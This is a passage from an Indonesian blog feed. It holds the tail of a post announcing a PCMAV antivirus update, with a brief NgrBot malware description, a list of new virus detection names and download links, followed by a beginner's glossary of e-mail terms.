= mampu menyebar melalui media peyimpanan data seperti removable disk, external disk dan MMC.<br /> <i>NgrBot dengan kemampuan Trojan</i> = mendownload beberapa companion lain yang bertujuan untuk melancarkan aksi lainnya setelah menginfeksi komputer korban.<br /> <i>NgrBot dengan kemampuan Rootkit</i> = mampu bersembunyi dibalik proses lain dan menyembunyikan file host maupun value key yang dibuatnya pada registry editor sambil tetap melakukan payload yang tidak disadari oleh user.<br /> <br /> <b>E. Pembersihan</b><br /> Malware ini telah dikenali dan dapat dibersihkan pada PCMAV 5.3 Update Build2 ini berikut ini.<br /> <br /> <b>PCMAV 5.3 Update Build2</b><br /> <br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.3 Update Build2 telah hadir dengan penambahan <b>68 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.3, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:</div><div class="content">Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.</div><div class="content"></div><div class="content"><b>Daftar tambahan virus hingga PCMAV 5.3 Update Build2 :</b><br /> <br /> Ardamax<br /> Ardamax.exe<br /> BadShortcut<br /> BancosKernel<br /> BancosKernel.dat<br /> Bobae<br /> Bobae.flv.A<br /> Bobae.flv.B<br /> CryptocX<br /> CryptocX.dll<br /> DrwKills<br /> FakeAV-Downloader.N<br /> FakeAV-Downloader.N.dat<br /> FakeAV-Downloader.N.dll.A<br /> FakeAV-Downloader.N.dll.B<br /> FakeAV-Downloader.N.drp<br /> FakeAV-Downloader.N.exe<br /> FakeAV-Downloader.N.lnk.A<br /> FakeAV-Downloader.N.lnk.B<br /> FakeAV-Downloader.N.lnk.C<br /> FakeAV-Downloader.N.tmp<br /> FakeDownloader.BL<br /> FakeDownloader.BL.drp<br /> FakeDownloader.BL.exe.A<br /> FakeDownloader.BL.exe.B<br /> FakeDownloader.BL.exe.C<br /> FakeDownloader.BL.tmp<br /> FakeDownloader.BL.zip<br /> FightingDreamer.vbe.inf<br /> Huppi<br /> KeyKav<br /> Maxthon<br /> Maxthon.inf<br /> NgrBot<br /> NgrBot.bat<br /> NgrBot.dat<br /> NgrBot.drp.A<br /> NgrBot.drp.B<br /> NgrBot.exe.A<br /> NgrBot.exe.B<br /> NgrBot.inf<br /> NgrBot.lnk<br /> NhT<br /> PrjHook<br /> PrjHook.drp<br /> PrjHook.exe.A<br /> PrjHook.exe.B<br /> Proklamasi<br /> Proklamasi.exe<br /> Proklamasi.lnk<br /> Qvod<br /> Qvod.A.dll.A<br /> Qvod.A.dll.B<br /> Qvod.A.dll.C<br /> Qvod.A.inf<br /> Qvod.A.local<br /> Qvod.B<br /> Qvod.B.dll<br /> Qvod.exe.A<br /> Ramnit.L.dropper<br /> Ramnit.M.dropper<br /> SpecialChar<br /> StubeShark<br /> StubeShark.tmp<br /> TeraBit.txt<br /> Tiopatinhas<br /> Winbows<br /> Wukill.D </div><br /> <br /> <br /> PCMAV 5.3 Update Build2 telah tersedia dengan penambahan 68 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Berarti ada penambahan 22 database virus dari build1 yang hanya 46 database. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.3 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.<br /> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........</div></div><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBVRDrtYCIV4GjGvPgRuVBySD_OL2Uc_gQumqCIFnoioVRjXgtB05fac0dfV-MLg5BxtWpz6c22qxs6uiMu6yflLGy0a-a9QGCLwMxGXJzAcVUBkXlQPNjvwAoKQJr-F5Q41kf4XyV4UQr/s1600/1.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBVRDrtYCIV4GjGvPgRuVBySD_OL2Uc_gQumqCIFnoioVRjXgtB05fac0dfV-MLg5BxtWpz6c22qxs6uiMu6yflLGy0a-a9QGCLwMxGXJzAcVUBkXlQPNjvwAoKQJr-F5Q41kf4XyV4UQr/s1600/1.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdQHZTqIihwhCx_Lu-UHJ-e1MJUviZwioyCafE_V8a0TdLqA9u-vSLRfffYkVqRgE5V4f9oBIUAlgogWy-rA5FjeoBur1xJbCHi3RgVggeUu7kRaYAq2bDvsPalfqNv4xkQzRME3bzs4X-/s1600/2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdQHZTqIihwhCx_Lu-UHJ-e1MJUviZwioyCafE_V8a0TdLqA9u-vSLRfffYkVqRgE5V4f9oBIUAlgogWy-rA5FjeoBur1xJbCHi3RgVggeUu7kRaYAq2bDvsPalfqNv4xkQzRME3bzs4X-/s1600/2.JPG" /></a></div></div><br /> <br /> <div style="text-align: center;"><span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span></div><br /> <div style="text-align: left;"><br /> </div><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol><li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.3 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.1 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.2 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/06/pcmav-52-valhalla.html"><b>PCMAV 5.2</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build2)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.3 Valhalla/vdb</span></li> </ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.3 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> Link 1 = <a href="http://www.blogger.com/goog_1366011901"> </a></span><a href="http://www.ziddu.com/download/15647936/PCMAV5.3Valhallaekodomba.blogspot.rar.html"><span style="font-weight: bold;">PCMAV 5.3</span></a><br /> <span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/6yJOUevb/PCMAV_53_Valhalla__ekodombablo.html"><b>PCMAV 5.3</b></a> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build2 :</span> <br /> <span style="font-weight: bold;"> Link 1 = </span><a href="http://www.ziddu.com/download/15767394/vdbBuild2.rar.html"><span style="font-size: 100%;"><b>Update Build 2</b></span></a><span style="font-weight: bold;"><br /> Link 2 =</span><span style="color: #33cc00; font-weight: bold;"><span style="color: black; font-weight: bold;"> </span></span><a href="http://www.4shared.com/file/Ac4K3oyJ/vdb__Build2__8.html"><span style="font-size: 100%;"><b>Update Build 2</b></span></a></div>0Nyaman Ber E-Mailhttp://ekodomba.blogspot.com/2011/07/nyaman-ber-e-mail.htmlArtikelArtikel dll.noreply@blogger.com (Unknown)Sat, 16 Jul 2011 13:48:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-1399505008918385974<div lang="" style="margin-bottom: 0in; text-align: center;"><a href="http://ekodomba.blogspot.com/2011/07/nyaman-ber-e-mail.html"><b><span style="font-size: large;">Ingin Nyaman Ber E-Mail, Kenali Istilah-Istilahnya</span></b></a> </div><div style="margin-bottom: 0in;"><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKWj6PUIxm7bGY5iUi67yfyj0fCE-AeFa65JxbdP44QllPF0NXYuGuBFFThOiSPL44nchcJ4kSNHfvGOr_pSSoyZvjBhwNHUaTlMoSvnorWDFDSTb1RwGLm3-rQpla1gjRAEVqiEDekXTt/s1600/Cover.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKWj6PUIxm7bGY5iUi67yfyj0fCE-AeFa65JxbdP44QllPF0NXYuGuBFFThOiSPL44nchcJ4kSNHfvGOr_pSSoyZvjBhwNHUaTlMoSvnorWDFDSTb1RwGLm3-rQpla1gjRAEVqiEDekXTt/s1600/Cover.JPG" /></a></div></div><br /> <br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; E-mail, predikat sebagai kebutuhan pokok berkomunikasi sudah melek pada fasilitas ini. Namun, mungkin saja banyak di antara Anda yang belum paham benar istilah-istilah yang ada di dalamnya.</div><div><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mungkin banyak dari Anda sudah sangat fasih dalam melakukan komu-nikasi menggunakan teknologi e-mail. Tidak salah jika e-mail sudah dianggap oleh banyak orang sebagai kebutuhan pokok dalam berkomunikasi. Pasalnya batas-batas komunikasi menjadi hilang seketika saat teknologi e-mail ditemu-kan, menunjukkan begitu hebatnya teknologi ini.</span></span></div><div style="text-align: left;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">&nbsp;&nbsp;&nbsp;&nbsp; Meskipun telah akrab menggunakan email, namun pernahkah Anda menemukan istilah e-mail yang masih asing di telinga? Mungkin banyak sekali pengguna yang sering menemukan istilah-istilah asing dalam ber e-mail ria. Kadang istilah ini sebenarnya merupakan fasilitas yang hebat dan memang Anda butuhkan. Namun karena asing bagi Anda, maka terlewatkan begitu saja tidak terpakai.</span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.5in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Melihat pentingnya e-mail karena menggantikan posisi komunikasi surat-menyurat, maka ada baiknya bagi Anda untuk mengenal lebih banyak istilah yang ada di dalamnya. Tujuannya agar komunikasi melalui e-mail dapat berjalan lancar dan tentu saja lebih memudahkan pekerjaan penggunanya. Maka dari itu, berikut ini adalah beberapa istilah umum dalam dunia teknologi e-mail. Istilah ini diurutkan dalam urutan alfabet :</span></span><br /> <div style="text-align: left;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"></span></span></div><a name='more'></a></div><div style="text-align: left;"></div><div style="text-align: left;"></div><ol style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Address</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Address yang arti harafiahnya adalah alamat, pada teknologi e-mail biasanya berarti alamat e-mail yang Anda miliki. Alamat e-mail memiliki format penulisan yang sudah ditetapkan pada standar RFC 822, di mana alamat e-mail diawali dengan nama alias, diikuti dengan tanda “@” (baca et) dan diakhiri dengan penamaan domain yang sudah terdaftar.</span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Nama alias biasanya adalah nama lengkap Anda yang disingkat, atau nama julukan Anda, atau nama apapun yang Anda suka. Tanda “@” mutlak harus berada antara nama alias dengan nama domain. Sedangkan penamaan domain harus menggunakan nama domain yang sudah terdaftar.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="2" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Address Book atau Contacts</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Address Book atau sering juga disebut Contacts merupakan istilah untuk daftar nama dan alamat e-mail pada sebuah program e-mail client. Kedua istilah ini umum digunakan pada berbagai macam e-mail client. Biasanya isi dari Address Book atau Contacts tidak hanya berupa nama dan alamat e-mail saja, melainkan informasi kontak tambahan seperti alamat kantor, alamat rumah, nomor telepon, dan banyak lagi.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="3" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Attachment</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Attachment dalam bahasa Indonesia berarti lampiran. Dalam sistem e-mail, Attachment merupakan istilah untuk melampirkan dokumen-dokumen tertentu yang akan dibawa serta pada saat e-mail tersebut dikirim. Jadi, e-mail yang dikirim tidak hanya sekadar tulisan saja, melainkan dapat dilampirkan file-</span></span> <span style="font-family: Times New Roman,serif;"><span style="font-size: small;">file tertentu. Ini akan sangat memudahkan Anda dalam mendistribusikan file-file penting ke pihak lain.</span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Jumlah file attachment dalam sekali pengiriman e-mail tidak dibatasi, namun yang biasanya dibatasi adalah ukuran file yang akan dikirim. Jadi sebaiknya, teliti dulu ukuran file attachment yang diperbolehkan untuk dikirim sebelum Anda berkirim e-mail.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="4" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>BCC</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">BCC merupakan kependekan dari Blind Carbon Copy. Istilah ini merupakan sebuah fasilitas dari sistem e-mail yang memungkinkan penggunanya melakukan pengiriman e-mail yang sama ke banyak alamat, namun para penerimanya tidak bisa melihat alamat e-mail yang dituliskan pada kolom BCC ini. Tujuannya adalah untuk menyembunyikan alamat-alamat lain yang juga dikirimi e-mail serupa. Yang dapat melihat alamat pada kolom BCC ini hanyalah si pengirimnya saja.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="5" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Bounce E-mail</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Bounce e-mail mungkin sering Anda alami pada saat menggunakan e-mail. Bounce e-mail merupakan sebuah istilah untuk e-mail yang tidak berhasil terkirim ke penerimanya dan terpental balik ke mailbox Anda. Biasanya e-mail yang balik ke mailbox Anda disertai dengan pesan-pesan pemberitahuan error yang cukup informatif. Pesan error ini berasal dari e-mail server yang paling dekat dengan server di mana alamat e-mail tersebut berada. Dengan meneliti pesan bounce ini, sebenarnya Anda dapat mengetahui penyebabnya mengapa pengiriman e-mail sampai gagal dilakukan.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="6" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>CC</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">CC merupakan kependekan dari Carbon Copy, yang artinya adalah melakukan pengiriman sebuah e-mail yang sama ke banyak alamat. Berbeda dengan BCC, fasilitas CC ini tidak menyembunyikan alamat e-mail si penerima lainnya, sehingga semua penerima e-mail dapat melihat alamat-alamat e-mail dari penerima lainnya. Fasilitas CC ini tentu sangat memudahkan Anda yang sering mengirim e-mail-e-mail yang sama ke banyak orang. Namun, yang perlu diperhatikan adalah biasanya penyedia jasa e-mail membatasi jumlah alamat e-mail yang dimasukkan ke kolom CC ini.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="7" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Delivery Receipt</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Delivery receipt merupakan sebuah fasilitas dalam sistem e-mail yang memungkinkan pengirim e-mail menerima informasi bahwa si penerima e-mail yang ditujunya telah mendownload e-mail yang Anda kirim dan telah disimpan dalam program mail client-nya. Fasilitas ini sangat berguna bagi Anda yang sering mengirimkan e-mail-e-mail yang sangat penting dan ingin memonitor kepastian sampainya e-mail tersebut.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="8" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Distribution List atau Mailing List atau Groups</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Ketiga istilah di atas merupakan fasilitas yang memungkinkan Anda membuat sebuah alamat e-mail yang mewakili banyak sekali alamat lain di dalamnya. Dengan demikian, ketika Anda mengirimkan e-mail ke alamat tersebut, maka secara otomatis semua alamat dibelakangnya akan menerima e-mail yang sama. Fasilitas ini sangatlah populer dikalangan pengguna Internet sebagai ajang pertukaran informasi antar sesama. Biasanya mailing list dibuat berdasarkan kesamaan interest antarsesama anggotanya, atau sebuah kelompok kerja, kelompok sekolah, dan banyak lagi.</span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Fasilitas mailing list atau group banyak tersedia di Internet saat ini. Namun yang paling populer adalah fasilitas dari Yahoo!, yaitu Yahoo groups. Anda dapat menggunakannya secara cuma-cuma dengan mengakses alamat http://groups.yahoo.com.</span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"></div><div style="text-align: left;"></div><ol start="9" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Domain (Nama Domain)</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Domain merupakan sebuah sistem penamaan dalam dunia internet. Nama domain biasanya digunakan untuk mewakili alamat-alamat IP dari perangkat jaringan dan server yang berupa angka-angka panjang. Dengan adanya nama domain, para pengguna Internet tidak perlu mengingat angka-angka panjang tersebut, cukup mengingat nama domain-nya saja.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="10" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Draft</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Draft biasanya berarti sebuah rancangan e-mail yang sudah ditulis oleh si pengirim namun belum diselesaikan dan belum bermaksud untuk dikirimkan. Biasanya fasilitas ini ada pada setiap program mail client yang ada saat ini.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="11" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Exchange Server</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Exchange server merupakan sebuah nama program buatan Microsoft yang banyak digunakan untuk membuat sebuah e-mail server. Dengan menggunakan Exchange server yang berjalan di atas operating system Windows, Anda dapat membuat e-mail server sendiri. Program-program e-mail server lain sudah banyak tersedia saat ini seperti Sendmail dan Qmail pada dunia open source, Lotus Notes keluaran IBM, dan banyak lagi.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="12" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Filters</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Merupakan istilah untuk menyaring e-mail-e-mail yang masuk. E-mail yang masuk ke mailbox Anda terkadang perlu untuk disaring agar dapat dibaca dengan lebih nyaman. Biasanya e-mail-e-mail yang disaring adalah e-mail-e-mail sampah seperti e-mail promosi, e-mail porno, e-mail penipuan, dan banyak lagi. Penyaringan ini biasanya dilakukan oleh program mail client, atau jika penyedia jasa memiliki fasilitas tersebut bisa juga filtering dilakukan di jaringan mereka. Tujuannya adalah agar link Internet Anda tidak dipenuhi dengan e- mail-e-mail sampah.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="13" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Folder</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Folder merupakan istilah untuk partisi-partisi tempat penyimpanan e-mail yang diterima. Partisi tersebut dapat di-gunakan untuk mengelompokkan e-mail-e-mail yang masuk. Proses filter dan rule dapat berjalan dengan sempurna jika ada folder-folder yang memilah-pilah e-mail. Arsip-arsip e-mail yang masuk menjadi sangat rapi dan nyaman dibaca di kemudian hari.</span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"></div><div style="text-align: left;"></div><ol start="14" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Forward</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Untuk meneruskan sebuah e-mail keorang lain, carilah istilah ini pada program e-mail client Anda. Istilah ini memang memiliki arti melakukan penerusan sebuah e-mail ke penerima lain. Jadi, Anda tidak perlu susah-susah mendistribusikan e-mail-e-mail yang telah masuk.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="15" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Headers</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Secara harafiahnya headers berarti kepala atau awal. Dalam dunia e-mail, header berarti kepala e-mail. Sebuah e-mail pasti memiliki kepala e-mail yang biasanya berisikan informasi-informasi penting. Informasi mengenai mail server apa yang digunakan untuk mengirim e-mail, jam berapa e-mail tersebut dikirim, dari mana asal e-mail tersebut, melalui server-server apa saja e-mail tersebut berjalan, dan banyak lagi. Semua informasi tersebut dapat dilihat dari header sebuah e-mail. Sangat penting untuk keperluan troubleshooting atau penyidikan.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="16" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>HTML email</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Jika Anda melihat sebuah e-mail berisikan beberapa gambar dengan teks-teks bervariasi warna dan ukurannya, kemungkinan besar Anda sedang membaca sebuah HTML e-mail. E-mail jenis ini dibuat dalam format dan coding yang sama dengan sebuah halaman web, membuat pembaca e-mail-nya merasa nyaman ketika membaca e-mail tersebut.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="17" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>IMAP</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">IMAP kependekan dari Internet Messege Access Protocol merupakan sebuah metode pengaturan e-mail-e-mail yang Anda terima beserta sistem folder-foldernya di mana e-mail tersebut ditampung dalam sebuah server.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="18" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Inbox</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Inbox merupakan istilah untuk kotak surat elektronik yang menampung pesan-pesan e-mail yang Anda terima. Folder Inbox ini umumnya ada di semua program e-mail client yang ada saat ini, atau juga dalam webmail-webmail yang umum digunakan.</span></span></div><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="19" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Junk Mail</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Junk mail dapat berarti juga e-mail sampah, yaitu email-email yang dianggap tidak perlu bahkan mengganggu oleh sipenerimanya. Biasanya yang termasuk dalam kategori Junk mail bisa berupa e-mail iklan dan promosi, e-mail penipuan, e-mail nyasar, e-mail notifikasi yang tidak perlu, dan banyak lagi.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="20" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Mailbox</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Istilah Mailbox biasanya digunakan untuk menyatakan sebuah account e-mail dengan kapasitas penampungan tertentu yang dibuat di mail server dari penyedia jasa Internet.</span></span></div><div style="text-align: left;"></div><div style="line-height: 100%; margin-bottom: 0in; text-align: left;"></div><div style="text-align: left;"></div><ol start="21" style="text-align: left;"><li><div style="margin-bottom: 0in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;"><b>Mail Client</b></span></span></div></li> </ol><div style="text-align: left;"></div><div style="margin-bottom: 0in; text-align: left; text-indent: 0.25in;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">Mail client adalah istilah yang digunakan untuk menyebut sebuah program penarik dan pengirim e-mail yang biasanya harus diinstal dalam PC yang Anda gunakan. Program mail client ini sangat banyak sekali beredar di pasaran. Ada yang gratis dan ada pula yang mengharuskan Anda membayar untuk 